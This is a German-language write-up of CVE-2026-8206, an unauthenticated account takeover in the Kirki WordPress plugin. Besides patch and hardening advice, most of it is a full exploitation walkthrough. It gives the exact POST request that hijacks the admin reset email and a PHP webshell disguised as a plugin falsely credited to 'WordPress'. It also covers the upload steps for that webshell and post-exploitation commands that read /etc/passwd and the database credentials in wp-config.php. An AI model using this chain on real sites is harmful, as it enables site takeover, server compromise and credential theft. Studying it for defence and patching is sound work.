
CVE-2026-8206: Kirki Customizer Framework - Unauthenticated Account Takeover (CVSS 9.8)
CVSS v3.1 9.8 / 10.0 KRITISCH
Vektor: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2026-8206 ist eine Schwachstelle zur nicht authentifizierten Kontoübernahme im Kirki Customizer Framework – einem beliebten WordPress-Pagebuilder-Plugin mit über 90.000 aktiven Installationen. Die Schwachstelle ermöglicht es einem Angreifer, durch das Senden einer einzigen HTTP-Anfrage jedes WordPress-Konto (einschließlich Admin) zu übernehmen.
Der Fehler befindet sich im REST-API-Endpunkt kirki-forgot-password des ComponentLibrary-Moduls. Dieser Endpunkt erlaubt es, für jeden Benutzer ein Passwort-Reset anzufordern, und sendet den Reset-Link an eine vom Angreifer angegebene E-Mail-Adresse, statt an die registrierte E-Mail-Adresse des Benutzers.
| Information | Details |
|---|---|
| Plugin | Kirki Customizer Framework (WordPress Page Builder) |
| Betroffene Versionen | 6.0.0 – 6.0.6 |
| Behoben in | 6.0.7 (oder 6.0.12+) |
| Schwachstellenart | Nicht authentifizierte Kontoübernahme per Hijacking der Passwort-Reset-E-Mail |
| Endpunkt | /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password (oder /wp-json/KirkiComponentLibrary/v1/kirki-forgot-password) |
| CVSS | 9.8 KRITISCH |
Voraussetzungen für die Ausnutzung:
→ Jede WordPress-Website mit installiertem Kirki 6.0.0–6.0.6 ist standardmäßig verwundbar.
Kirki registriert REST-API-Endpunkte für die Component-Library-Funktion, einschließlich Login, Register, forgot-password und change-password. Alle erlauben Gastzugriff (guest_permissions_check gibt true zurück).
Ein WordPress-Nonce ist ein CSRF-Schutz-Token. Kirki erfordert ein Nonce über den X-WP-Element-Nonce-Header oder prüft einen Nonce-Parameter in der Anfrage. Das Nonce kann jedoch öffentlich clientseitig generiert/extrahiert werden.
WordPress verwendet get_password_reset_key(), um einen Passwort-Reset-Token zu generieren. Dieser Token wird von Kirki vor dem Senden in die E-Mail-Vorlage eingefügt.
Datei: ComponentLibrary/controller/CompLibFormHandler.php
In der verwundbaren Version (6.0.0–6.0.6) prüft die Funktion handle_forgot_password() nicht, ob die angegebene E-Mail-Adresse mit der registrierten E-Mail-Adresse des Benutzers übereinstimmt. Ein Angreifer kann den Benutzernamen des Opfers und seine eigene E-Mail-Adresse angeben – der Reset-Link wird an die E-Mail-Adresse des Angreifers gesendet.
Verwundbarer Quellcode:
public function handle_forgot_password( $request ) {
$form_data = $request->get_body_params();
$this->validate_nonce( 'kirki-forgot-password' );
$email = $form_data['email']; // <-- ATTACKER CONTROLLED
$username = $form_data['username'];
$user = get_user_by( 'login', $username );
//BUG: Does NOT check $email === $user->user_email
// Attacker's email is used directly
$key = get_password_reset_key( $user );
$reset_link = "$url?action=rp&key=$key&login=$username";
// SENDS RESET LINK TO ATTACKER'S EMAIL
wp_mail( $email, $subject, $body_with_reset_link );
// ^^^^^
// ATTACKER'S EMAIL, NOT THE USER'S EMAIL
}
Der E-Mail-Betreff und der E-Mail-Inhalt werden über die Parameter emailSubject und emailBody vom Client empfangen, ohne dass eine HMAC-Signatur die Integrität absichert. Der Angreifer kann den Inhalt der gesendeten E-Mail beliebig verändern.
// VULNERABLE VERSION: No HMAC verification
$email_subject = $form_data['emailSubject']; // Client-controlled
$email_body = $form_data['emailBody']; // Client-controlled
// No verify_email_template_signature()
// PATCHED VERSION (6.0.7+): HMAC verification / Email matching against DB
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
return new WP_REST_Response( array( 'message' => 'If an account exists...' ), 200 );
}
| Faktor | Erklärung |
|---|---|
Die Ausnutzung von CVE-2026-8206 beginnt ohne jeglichen Zugriff – kein Konto, kein Passwort, keine Sitzung – und führt allein mit HTTP-Anfragen zur vollständigen Admin-Übernahme.
Phase 1: Extract Nonce → Obtain nonce from a public page (if required)
Phase 2: Hijack Reset Email → Send reset link to attacker's email
Phase 3: Reset Password → Change admin password using the obtained reset key
Phase 4: Login Admin → Log in with the new password
Phase 5: Webshell Upload → Install backdoor via plugin upload
Phase 6: RCE → Execute arbitrary commands on the server
Laden Sie das Plugin von wordpress.org herunter und öffnen Sie die Datei CompLibFormHandler.php direkt:
// The handle_forgot_password function receives data from the client:
$email_subject = isset( $form_data['emailSubject'] )
? sanitize_text_field( $form_data['emailSubject'] ) : '';
$email_body = isset( $form_data['emailBody'] )
? json_decode( $form_data['emailBody'], true ) : '';
// Email body rendering logic:
foreach ( $email_body as $body_data ) {
if ( $body_data['type'] === 'text' ) {
$email_body = $email_body . $body_data['value'];
} elseif ( $body_data['type'] === 'chip' ) {
$email_body = $email_body . $chip_data[ $body_data['value'] ];
// ^^^^^^^^^^^^^^^^^^^
// $chip_data['reset_link'] = actual reset URL!
}
}
→ Aus dem Code geht hervor: emailBody muss ein JSON-Array sein, wobei jedes Element type und value besitzt. Wenn type = chip und value = reset_link ist, fügt Kirki den Reset-Link automatisch in die E-Mail ein.
Führen Sie grep direkt im Plugin-Verzeichnis aus:
grep -r "emailBody" wp-content/plugins/kirki/assets/js/
grep -r "reset_link" wp-content/plugins/kirki/assets/js/
Der kompilierte Frontend-Code zeigt die genaue erforderliche JSON-Struktur.
Find endpoint (/wp-json/ or rest_route)
↓
Read PHP source → find $form_data['emailBody']
↓
Understand JSON array format (type / value)
↓
Read chip_data array → find key "reset_link"
↓
Build payload: emailBody=[{"type":"chip","value":"reset_link"}]
↓
Test → success
Der Angreifer sendet eine POST-Anfrage an den Forgot-Password-Endpunkt mit dem Benutzernamen des Opfers (admin) und einer vom Angreifer kontrollierten E-Mail-Adresse ([email protected]). Der Server generiert einen Reset-Schlüssel für das Opfer, sendet den Reset-Link jedoch an [email protected].
Senden der Anfrage:
POST /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password HTTP/1.1
Host: localhost:8181
Content-Type: application/x-www-form-urlencoded
username=admin&[email protected]&emailSubject=Password+Reset&emailBody=%5B%7B%22type%22%3A%22text%22%2C%22value%22%3A%22Reset%3A+%22%7D%2C%7B%22type%22%3A%22chip%22%2C%22value%22%3A%22reset_link%22%7D%5D

Antwort (Erfolg):

Im Postfach des Angreifers empfangene E-Mail (MailHog unter http://localhost:8025):
Subject: Password Reset
Click the link below to reset your password:
http://localhost:8181/wp-admin/install.php?action=rp&key=JHr8kQ2mVnXz9pLw&login=admin

Der Angreifer verwendet den aus der E-Mail erhaltenen key-Token, um das Passwort des Admin-Kontos über den Endpunkt kirki-change-password oder das Standardformular von WordPress zu ändern. Anschließend meldet er sich an und erlangt die volle administrative Kontrolle über die Website.

Passwort geändert und Zugriff mit dem Konto admin erlangt.

Zugriff auf das Konto admin erfolgreich.
Nach dem Erlangen des Zugriffs auf das Admin-Dashboard eskaliert der Angreifer von der Kontoübernahme zur Remote Code Execution (RCE), und zwar über die standardmäßige WordPress-Funktion „Plugin hochladen“.
Der Angreifer erstellt eine PHP-Webshell, die als legitimes WordPress-Plugin getarnt ist:
<?php
/*
Plugin Name: System Health Check
Description: System diagnostics tool
Version: 1.0
Author: WordPress
*/
if (isset($_REQUEST['cmd'])) {
echo '<pre>';
echo htmlspecialchars(shell_exec($_REQUEST['cmd']));
echo '</pre>';
}
Diese Datei wird für den Upload über die Admin-Oberfläche in system-health.zip komprimiert.
Der Angreifer navigiert zu Plugins → Plugin hinzufügen → Plugin hochladen, wählt die Datei system-health.zip aus und klickt auf Jetzt installieren → Plugin aktivieren.

Nach dem Upload extrahiert WordPress die .zip-Datei automatisch in das Verzeichnis /wp-content/plugins/ auf dem Server, sodass die Webshell einsatzbereit ist.
Der Angreifer greift direkt über den Endpunkt /wp-content/plugins/webshell-plugin/shell.php auf die Webshell zu.


RCE erfolgreich.
An diesem Punkt verfügt der Angreifer auf dem Server mit www-data-Rechten über die volle Fähigkeit zur Befehlsausführung. Mögliche weitere Aktionen sind:
Admin Dashboard (Account Takeover)
↓
Upload Plugin containing Webshell (.zip)
↓
WordPress extracts → .php file resides on server
↓
Access shell.php?cmd=<command>
↓
Server executes command → returns result
↓
RCE complete — full www-data privileges on server
| Aktuelle Version | Aktualisieren auf |
|---|---|
| 6.0.0 – 6.0.6 | 6.0.7 oder neuer |
// AFTER (patched):
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
return new WP_REST_Response(
array( 'message' => 'If an account exists...' ), 200
);
}
$email = $user_email; // Force use of the user's actual email
Selbst wenn das Admin-Konto kompromittiert ist, lässt sich der Schaden durch die folgenden Maßnahmen begrenzen:
| Keine Authentifizierung erforderlich |
guest_permissions_check() gibt true zurück – jeder kann den Endpunkt aufrufen |
| Jedes Konto kann übernommen werden | Nur der Benutzername wird benötigt (Standard: 'admin') – keine E-Mail/Passwort erforderlich |
| Auswirkung: Admin-Übernahme | Admin übernehmen → Webshell hochladen → RCE → volle Serverkontrolle |
| Weit verbreitet | Kirki ist ein Plugin, das in viele WordPress-Themes integriert ist |
| Befehl | Zweck |
|---|
id | Rechte des aktuell laufenden Benutzers bestätigen |
whoami | Aktuellen Benutzernamen anzeigen |
cat /etc/passwd | Systembenutzerliste auslesen |
uname -a | Kernel-/Betriebssysteminformationen anzeigen |
cat wp-config.php | Datenbank-Zugangsdaten auslesen |
ls -la / | Das gesamte Dateisystem durchsuchen |
| # | Phase | Methode | Pfad |
|---|
| 1 | Reset-E-Mail kapern | POST | /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password |
| 2 | Passwort zurücksetzen | GET | /wp-login.php?action=rp&key=<token>&login=admin |
| 3 | Admin-Login | POST | /wp-login.php |
| 4 | Webshell hochladen | POST | /wp-admin/update.php?action=upload-plugin |
| 5 | RCE | GET | /wp-content/plugins/webshell-plugin/shell.php?cmd=<command> |
| Maßnahme | Konfiguration |
|---|
| Plugin-/Theme-Installation über das Dashboard blockieren | define('DISALLOW_FILE_MODS', true); in wp-config.php hinzufügen |
| Code-Bearbeitung über das Dashboard blockieren | define('DISALLOW_FILE_EDIT', true); in wp-config.php hinzufügen |
| Berechtigungen des Upload-Verzeichnisses einschränken | chmod 755 für Verzeichnisse, chmod 644 für Dateien |
| WAF (Web Application Firewall) | ModSecurity oder Cloudflare WAF einsetzen, um abnormale Anfragen an die REST-API zu blockieren |
| Überwachung | Dateiänderungen in /wp-content/plugins/ mit Tools wie OSSEC oder Wordfence überwachen |